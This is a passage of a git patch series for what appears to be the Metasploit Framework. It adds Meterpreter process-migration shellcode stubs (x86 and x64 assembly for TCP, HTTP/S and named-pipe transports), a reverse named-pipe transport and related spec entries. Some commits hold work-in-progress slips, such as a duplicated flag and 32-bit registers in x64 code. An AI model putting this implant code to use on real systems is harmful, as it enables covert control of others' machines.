TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length ) + request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub) if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 @@ -631,6 +638,10 @@ def transport_prepare_request(method, opts={}) end if opts[:transport].starts_with?('reverse') + if opts[:transport].ends_with?('pipe') && !opts[:lhost] + opts[:lhost] = '.' + end + return false unless opts[:lhost] else # Bind shouldn't have lhost set @@ -641,8 +652,9 @@ def transport_prepare_request(method, opts={}) request = Packet.create_request(method) - scheme = opts[:transport].split('_')[1] - url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" + scheme = opts[:transport].split('_')[-1] + url = "#{scheme}://#{opts[:lhost]}" + url << ":#{opts[:lport]}" if opts[:lport] if opts[:luri] && opts[:luri].length > 0 if opts[:luri][0] != '/' @@ -671,7 +683,7 @@ def transport_prepare_request(method, opts={}) end # do more magic work for http(s) payloads - unless opts[:transport].ends_with?('tcp') + if opts[:transport] =~ /https?/ if opts[:uri] url << '/' unless opts[:uri].start_with?('/') url << opts[:uri] @@ -709,9 +721,27 @@ def transport_prepare_request(method, opts={}) request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) request.add_tlv(TLV_TYPE_TRANS_URL, url) - return request + request end + def generate_migrate_stub(process) + stub = nil + case client.platform + when /win/i + c = Class.new(::Msf::Payload) + + if process['arch'] == ARCH_X86 + c.include(::Msf::Payload::Windows) + c.include(::Msf::Payload::Windows::BlockApi) + c.include(::Msf::Payload::Windows::MigrateTcp) + else + end + stub = c.new().generate + else + raise RuntimeError, "Unsupported platform '#{client.platform}'" + end + stub + end def generate_payload_stub(process) case client.platform @@ -742,9 +772,7 @@ def generate_windows_stub(process) # Create the migrate stager migrate_stager = c.new() - blob = migrate_stager.stage_meterpreter - - blob + migrate_stager.stage_meterpreter end def generate_linux_stub diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 372324381f954..ca23b1059377e 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -80,12 +80,14 @@ module Meterpreter TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407 TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408 TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409 +TLV_TYPE_MIGRATE_STUB_LEN = TLV_META_TYPE_UINT | 410 +TLV_TYPE_MIGRATE_STUB = TLV_META_TYPE_STRING | 411 TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index aa76f2954e89e..71bff66cd3203 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -570,25 +570,27 @@ def cmd_sleep(*args) # Arguments for transport switching # @@transport_opts = Rex::Parser::Arguments.new( - '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], - '-l' => [ true, 'LHOST parameter (for reverse transports)' ], - '-p' => [ true, 'LPORT parameter' ], - '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], - '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], - '-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ], - '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], - '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], - '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], - '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ], - '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ], - '-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ], - '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], - '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], - '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], - '-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ], - '-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ], - '-v' => [ false, 'Show the verbose format of the transport list' ], - '-h' => [ false, 'Help menu' ]) + '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"], + '-l' => [true, 'LHOST parameter (for reverse transports)'], + '-p' => [true, 'LPORT parameter'], + '-pp' => [true, 'PIPEHOST parameter'], + '-pn' => [true, 'PIPENAME parameter'], + '-i' => [true, 'Specify transport by index (currently supported: remove)'], + '-u' => [true, 'Custom URI for HTTP/S transports (used when removing transports)'], + '-lu' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'], + '-ua' => [true, 'User agent for HTTP/S transports (optional)'], + '-ph' => [true, 'Proxy host for HTTP/S transports (optional)'], + '-pp' => [true, 'Proxy port for HTTP/S transports (optional)'], + '-pu' => [true, 'Proxy username for HTTP/S transports (optional)'], + '-ps' => [true, 'Proxy password for HTTP/S transports (optional)'], + '-pt' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'], + '-c' => [true, 'SSL certificate path for https transport verification (optional)'], + '-to' => [true, 'Comms timeout (seconds) (default: same as current session)'], + '-ex' => [true, 'Expiration timout (seconds) (default: same as current session)'], + '-rt' => [true, 'Retry total time (seconds) (default: same as current session)'], + '-rw' => [true, 'Retry wait time (seconds) (default: same as current session)'], + '-v' => [false, 'Show the verbose format of the transport list'], + '-h' => [false, 'Help menu']) # # Display help for transport management. @@ -657,7 +659,7 @@ def cmd_transport(*args) opts[:uri] = val when '-i' transport_index = val.to_i - when '-lu' + when '-lu', '-pp' opts[:luri] = val when '-ph' opts[:proxy_host] = val @@ -681,7 +683,7 @@ def cmd_transport(*args) opts[:retry_wait] = val.to_i if val when '-p' opts[:lport] = val.to_i if val - when '-l' + when '-l', '-pn' opts[:lhost] = val when '-v' opts[:verbose] = true diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 633b712c598ec..4f22564642f47 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2721,6 +2721,16 @@ reference_name: 'windows/meterpreter_reverse_ipv6_tcp' end + context 'windows/meterpreter_reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/meterpreter_reverse_named_pipe' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter_reverse_named_pipe' + end + context 'windows/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2874,6 +2884,17 @@ reference_name: 'windows/meterpreter/reverse_ipv6_tcp' end + context 'windows/meterpreter/reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_named_pipe', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_named_pipe' + end + context 'windows/meterpreter/reverse_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3833,6 +3854,17 @@ reference_name: 'windows/x64/meterpreter/reverse_https' end + context 'windows/x64/meterpreter/reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_named_pipe', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_named_pipe' + end + context 'windows/x64/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3917,6 +3949,16 @@ reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp' end + context 'windows/x64/meterpreter_reverse_named_pip' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/x64/meterpreter_reverse_named_pip' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter_reverse_named_pip' + end + context 'windows/x64/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From bef18cb9d2b8c7f7b5a238711fe2966c587913fd Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 13:51:31 +1000 Subject: [PATCH 11/23] Add http migrate support (x86) --- lib/msf/core/payload/windows/migrate.rb | 1 + lib/msf/core/payload/windows/migrate_http.rb | 60 +++++++++++++++++++ lib/msf/core/payload/windows/x64/migrate.rb | 1 + lib/rex/post/meterpreter/client_core.rb | 4 +- .../ui/console/command_dispatcher/core.rb | 4 +- 5 files changed, 66 insertions(+), 4 deletions(-) create mode 100644 lib/msf/core/payload/windows/migrate_http.rb diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb index 58093087ce971..df95cab53bdfd 100644 --- a/lib/msf/core/payload/windows/migrate.rb +++ b/lib/msf/core/payload/windows/migrate.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/migrate_tcp' +require 'msf/core/payload/windows/migrate_http' diff --git a/lib/msf/core/payload/windows/migrate_http.rb b/lib/msf/core/payload/windows/migrate_http.rb new file mode 100644 index 0000000000000..d0956685ffac4 --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_http.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Common command execution implementation for Windows. +# +### + +module Payload::Windows::MigrateHttp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + WSA_VERSION = 0x190 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over HTTP/S transports', + 'Description' => 'Migration stub to use over HTTP/S transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov esi, [esp+4] + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb index 1b6a1bdccb09d..4cf8f4a616844 100644 --- a/lib/msf/core/payload/windows/x64/migrate.rb +++ b/lib/msf/core/payload/windows/x64/migrate.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- require 'msf/core/payload/windows/x64/block_api' #require 'msf/core/payload/windows/x64/migrate_tcp' +#require 'msf/core/payload/windows/x64/migrate_http' diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index eeecc8e31360d..ebaeb73ddd7c5 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -731,9 +731,9 @@ def generate_migrate_stub(process) c = Class.new(::Msf::Payload) if process['arch'] == ARCH_X86 - c.include(::Msf::Payload::Windows) c.include(::Msf::Payload::Windows::BlockApi) - c.include(::Msf::Payload::Windows::MigrateTcp) + #c.include(::Msf::Payload::Windows::MigrateTcp) + c.include(::Msf::Payload::Windows::MigrateHttp) else end stub = c.new().generate diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 71bff66cd3203..487c5f741a3a0 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -573,7 +573,7 @@ def cmd_sleep(*args) '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"], '-l' => [true, 'LHOST parameter (for reverse transports)'], '-p' => [true, 'LPORT parameter'], - '-pp' => [true, 'PIPEHOST parameter'], + '-pi' => [true, 'PIPEHOST parameter'], '-pn' => [true, 'PIPENAME parameter'], '-i' => [true, 'Specify transport by index (currently supported: remove)'], '-u' => [true, 'Custom URI for HTTP/S transports (used when removing transports)'], @@ -659,7 +659,7 @@ def cmd_transport(*args) opts[:uri] = val when '-i' transport_index = val.to_i - when '-lu', '-pp' + when '-lu', '-pi' opts[:luri] = val when '-ph' opts[:proxy_host] = val From ad57d747358e37d87f26be137f6ce4ac143d1620 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 15:46:45 +1000 Subject: [PATCH 12/23] Add support for migration via named pipes --- lib/msf/core/payload/windows/migrate.rb | 1 + lib/msf/core/payload/windows/migrate_http.rb | 2 +- lib/msf/core/payload/windows/migrate_pipe.rb | 61 ++++++++++++++++++++ lib/msf/core/payload/windows/migrate_tcp.rb | 2 +- lib/rex/post/meterpreter/client.rb | 16 +++-- lib/rex/post/meterpreter/client_core.rb | 18 +++++- 6 files changed, 92 insertions(+), 8 deletions(-) create mode 100644 lib/msf/core/payload/windows/migrate_pipe.rb diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb index df95cab53bdfd..db9e3c896e25e 100644 --- a/lib/msf/core/payload/windows/migrate.rb +++ b/lib/msf/core/payload/windows/migrate.rb @@ -2,4 +2,5 @@ require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/migrate_tcp' require 'msf/core/payload/windows/migrate_http' +require 'msf/core/payload/windows/migrate_pipe' diff --git a/lib/msf/core/payload/windows/migrate_http.rb b/lib/msf/core/payload/windows/migrate_http.rb index d0956685ffac4..71db3d0164791 100644 --- a/lib/msf/core/payload/windows/migrate_http.rb +++ b/lib/msf/core/payload/windows/migrate_http.rb @@ -7,7 +7,7 @@ module Msf ### # -# Common command execution implementation for Windows. +# Payload that supports migrating over HTTP/S transports on x86. # ### diff --git a/lib/msf/core/payload/windows/migrate_pipe.rb b/lib/msf/core/payload/windows/migrate_pipe.rb new file mode 100644 index 0000000000000..1a0a18fbcb46e --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_pipe.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x86. +# +### + +module Payload::Windows::MigratePipe + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + WSA_VERSION = 0x190 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport', + 'Description' => 'Migration stub to use over Named Pipe transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov esi, [esp+4] + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context. + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/migrate_tcp.rb b/lib/msf/core/payload/windows/migrate_tcp.rb index dfa2b8b308c35..94775a3d53c48 100644 --- a/lib/msf/core/payload/windows/migrate_tcp.rb +++ b/lib/msf/core/payload/windows/migrate_tcp.rb @@ -7,7 +7,7 @@ module Msf ### # -# Common command execution implementation for Windows. +# Payload that supports migrating over TCP transports on x86. # ### diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index b0eaec050736b..7945e3e875e73 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -103,7 +103,7 @@ def cleanup_meterpreter # # Initializes the meterpreter client instance # - def init_meterpreter(sock,opts={}) + def init_meterpreter(sock, opts={}) self.sock = sock self.parser = PacketParser.new self.ext = ObjectAliases.new @@ -126,6 +126,8 @@ def init_meterpreter(sock,opts={}) self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true + self.use_ssl = capabilities[:ssl] && !opts[:skip_ssl] + # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false @@ -152,9 +154,7 @@ def init_meterpreter(sock,opts={}) register_inbound_handler(Rex::Post::Meterpreter::Channel) else # Switch the socket to SSL mode and receive the hello if needed - if capabilities[:ssl] && !opts[:skip_ssl] - swap_sock_plain_to_ssl() - end + swap_sock_plain_to_ssl() register_extension_alias('core', ClientCore.new(self)) @@ -169,6 +169,8 @@ def init_meterpreter(sock,opts={}) end def swap_sock_plain_to_ssl + return unless self.use_ssl + # Create a new SSL session on the existing socket ctx = generate_ssl_context() ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx) @@ -213,6 +215,8 @@ def swap_sock_plain_to_ssl end def swap_sock_ssl_to_plain + return unless self.use_ssl + # Remove references to the SSLSocket and Context self.sock.sslsock.close self.sock.sslsock = nil @@ -422,6 +426,10 @@ def unicode_filter_decode(str) # attr_accessor :response_timeout # + # Whether to wrap the socket in SSL + # + attr_accessor :use_ssl + # # Whether to send pings every so often to determine liveness. # attr_accessor :send_keepalives diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ebaeb73ddd7c5..38c5d3df4303e 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -127,6 +127,10 @@ def transport_list result end + def get_transport_current + transport_list[:transports][0] + end + def set_transport_timeouts(opts={}) request = Packet.create_request('core_transport_set_timeouts') @@ -728,12 +732,22 @@ def generate_migrate_stub(process) stub = nil case client.platform when /win/i + t = get_transport_current + c = Class.new(::Msf::Payload) if process['arch'] == ARCH_X86 c.include(::Msf::Payload::Windows::BlockApi) - #c.include(::Msf::Payload::Windows::MigrateTcp) - c.include(::Msf::Payload::Windows::MigrateHttp) + + case t[:url] + when /^tcp/ + c.include(::Msf::Payload::Windows::MigrateTcp) + when /^http/ + # covers both HTTP and HTTPS + c.include(::Msf::Payload::Windows::MigrateHttp) + when /^pipe/ + c.include(::Msf::Payload::Windows::MigratePipe) + end else end stub = c.new().generate From cd5ba0a1bd5fe36a75a10950da6d485f33e56e9d Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 16:15:53 +1000 Subject: [PATCH 13/23] Initial work on x64 migrate rework support --- lib/msf/core/payload/windows/migrate_http.rb | 2 - lib/msf/core/payload/windows/migrate_pipe.rb | 2 - lib/msf/core/payload/windows/x64/migrate.rb | 5 +- .../core/payload/windows/x64/migrate_http.rb | 60 +++++++++++++ .../core/payload/windows/x64/migrate_pipe.rb | 62 +++++++++++++ .../core/payload/windows/x64/migrate_tcp.rb | 88 +++++++++++++++++++ lib/rex/post/meterpreter/client_core.rb | 11 +++ 7 files changed, 224 insertions(+), 6 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/migrate_http.rb create mode 100644 lib/msf/core/payload/windows/x64/migrate_pipe.rb create mode 100644 lib/msf/core/payload/windows/x64/migrate_tcp.rb diff --git a/lib/msf/core/payload/windows/migrate_http.rb b/lib/msf/core/payload/windows/migrate_http.rb index 71db3d0164791..a9311e0558b40 100644 --- a/lib/msf/core/payload/windows/migrate_http.rb +++ b/lib/msf/core/payload/windows/migrate_http.rb @@ -16,8 +16,6 @@ module Payload::Windows::MigrateHttp include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi - WSA_VERSION = 0x190 - def initialize(info = {}) super(update_info(info, 'Name' => 'Migrate over HTTP/S transports', diff --git a/lib/msf/core/payload/windows/migrate_pipe.rb b/lib/msf/core/payload/windows/migrate_pipe.rb index 1a0a18fbcb46e..6a7846cad99d9 100644 --- a/lib/msf/core/payload/windows/migrate_pipe.rb +++ b/lib/msf/core/payload/windows/migrate_pipe.rb @@ -16,8 +16,6 @@ module Payload::Windows::MigratePipe include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi - WSA_VERSION = 0x190 - def initialize(info = {}) super(update_info(info, 'Name' => 'Migrate over Named Pipe transport', diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb index 4cf8f4a616844..52061c16d7fa4 100644 --- a/lib/msf/core/payload/windows/x64/migrate.rb +++ b/lib/msf/core/payload/windows/x64/migrate.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core/payload/windows/x64/block_api' -#require 'msf/core/payload/windows/x64/migrate_tcp' -#require 'msf/core/payload/windows/x64/migrate_http' +require 'msf/core/payload/windows/x64/migrate_tcp' +require 'msf/core/payload/windows/x64/migrate_http' +require 'msf/core/payload/windows/x64/migrate_pipe' diff --git a/lib/msf/core/payload/windows/x64/migrate_http.rb b/lib/msf/core/payload/windows/x64/migrate_http.rb new file mode 100644 index 0000000000000..74133f07c6b94 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_http.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over HTTP/S transports on x64. +# +### + +module Payload::Windows::MigrateHttp_x64 + + include Msf::Payload::Windows_x64 + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over HTTP/S transports (x64)', + 'Description' => 'Migration stub to use over HTTP/S transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + + diff --git a/lib/msf/core/payload/windows/x64/migrate_pipe.rb b/lib/msf/core/payload/windows/x64/migrate_pipe.rb new file mode 100644 index 0000000000000..5c122db0d0547 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_pipe.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x64. +# +### + +module Payload::Windows::MigratePipe_x64 + + include Msf::Payload::Windows_x64 + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport (x64)', + 'Description' => 'Migration stub to use over Named Pipe transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + mov rdi, qword [esi+16] ; The duplicated pipe handle is in the migrate context. + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + + + diff --git a/lib/msf/core/payload/windows/x64/migrate_tcp.rb b/lib/msf/core/payload/windows/x64/migrate_tcp.rb new file mode 100644 index 0000000000000..598891b5b51e9 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_tcp.rb @@ -0,0 +1,88 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over TCP transports on x64. +# +### + +module Payload::Windows::MigrateTcp + + include Msf::Payload::Windows_x64 + include Msf::Payload::Windows::BlockApi_x64 + + WSA_DATA_SIZE = 408 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over TCP transport (x64)', + 'Description' => 'Migration stub to use over TCP transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + load_ws2_32: + mov r14, 'ws2_32' + push r14 + mov rcx, rsp ; pointer to 'ws2_32' + sub rsp, #{WSA_DATA_SIZE}+8 ; alloc size, plus alignment + mov r13, rsp ; save pointer to the struct + sub rsp, 0x28 ; space for function calls (really?) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA('ws2_32') + init_networking: + mov rdx, r13 ; Pointer to wsadata struct + push 2 + pop rcx ; version = 2 + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup(Version, &WSAData) + create_socket: + xor r8, r8 ; protocol not specified + push r8 ; flags == 0 + push r8 ; reserved == NULL + lea r9, [rsi+16] ; Pointer to the info in the migration context + push 1 + pop rdx ; SOCK_STREAM + push 2 + pop rcx ; AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0) + xchg rdi, rax + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 38c5d3df4303e..e8a838c254348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -749,6 +749,17 @@ def generate_migrate_stub(process) c.include(::Msf::Payload::Windows::MigratePipe) end else + c.include(::Msf::Payload::Windows::BlockApi_x64) + + case t[:url] + when /^tcp/ + c.include(::Msf::Payload::Windows::MigrateTcp_x64) + when /^http/ + # covers both HTTP and HTTPS + c.include(::Msf::Payload::Windows::MigrateHttp_x64) + when /^pipe/ + c.include(::Msf::Payload::Windows::MigratePipe_x64) + end end stub = c.new().generate else From 309b0dc8f48bff8064ae0659ef5cc35bb831bdef Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 16:54:35 +1000 Subject: [PATCH 14/23] Fix up a few small issues with module names --- lib/msf/core/payload/windows/x64/migrate_http.rb | 2 +- lib/msf/core/payload/windows/x64/migrate_pipe.rb | 2 +- lib/msf/core/payload/windows/x64/migrate_tcp.rb | 4 ++-- lib/msf/core/payload/windows/x64/reverse_named_pipe.rb | 3 +-- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/migrate_http.rb b/lib/msf/core/payload/windows/x64/migrate_http.rb index 74133f07c6b94..ee4752de95894 100644 --- a/lib/msf/core/payload/windows/x64/migrate_http.rb +++ b/lib/msf/core/payload/windows/x64/migrate_http.rb @@ -13,7 +13,7 @@ module Msf module Payload::Windows::MigrateHttp_x64 - include Msf::Payload::Windows_x64 + include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 def initialize(info = {}) diff --git a/lib/msf/core/payload/windows/x64/migrate_pipe.rb b/lib/msf/core/payload/windows/x64/migrate_pipe.rb index 5c122db0d0547..509736bea5dbf 100644 --- a/lib/msf/core/payload/windows/x64/migrate_pipe.rb +++ b/lib/msf/core/payload/windows/x64/migrate_pipe.rb @@ -13,7 +13,7 @@ module Msf module Payload::Windows::MigratePipe_x64 - include Msf::Payload::Windows_x64 + include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 def initialize(info = {}) diff --git a/lib/msf/core/payload/windows/x64/migrate_tcp.rb b/lib/msf/core/payload/windows/x64/migrate_tcp.rb index 598891b5b51e9..30d79b3c4d2df 100644 --- a/lib/msf/core/payload/windows/x64/migrate_tcp.rb +++ b/lib/msf/core/payload/windows/x64/migrate_tcp.rb @@ -11,9 +11,9 @@ module Msf # ### -module Payload::Windows::MigrateTcp +module Payload::Windows::MigrateTcp_x64 - include Msf::Payload::Windows_x64 